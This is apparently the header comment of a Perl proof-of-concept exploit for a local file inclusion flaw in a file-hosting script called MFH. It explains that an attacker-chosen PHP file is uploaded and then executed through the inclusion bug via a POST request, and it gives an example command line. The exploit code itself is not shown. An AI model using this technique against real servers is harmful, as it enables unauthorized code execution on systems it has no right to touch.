######################################################################################
# Description:
# The same language=LFI vulnerability is found in 1.2 is present in  thelatest version
# POST has to be used to exploit instead of GET.
#
# This POC is to be used as follows:
# perl mfh121.pl -f FILENAME.PHP -h HOSTNAME -e PATH TO MFH
#
# FILENAME.PHP is uploaded to the target script, and then executed through LFI with
# a POST request.
#
# example: perl mfh121.pl -f ./phpinfo.php -h localhost -p /mfi121/ | less
# The resulting HTML will be printed, all output by phpinfo.php will be before the
# real content.
#
